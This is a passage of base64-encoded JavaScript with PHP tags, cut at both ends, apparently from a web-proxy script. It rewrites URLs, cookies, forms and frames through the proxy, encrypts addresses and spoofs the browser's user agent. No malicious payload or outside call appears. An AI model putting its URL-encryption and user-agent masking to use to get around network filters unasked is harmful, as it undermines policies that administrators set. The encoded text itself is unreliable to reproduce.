hzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0V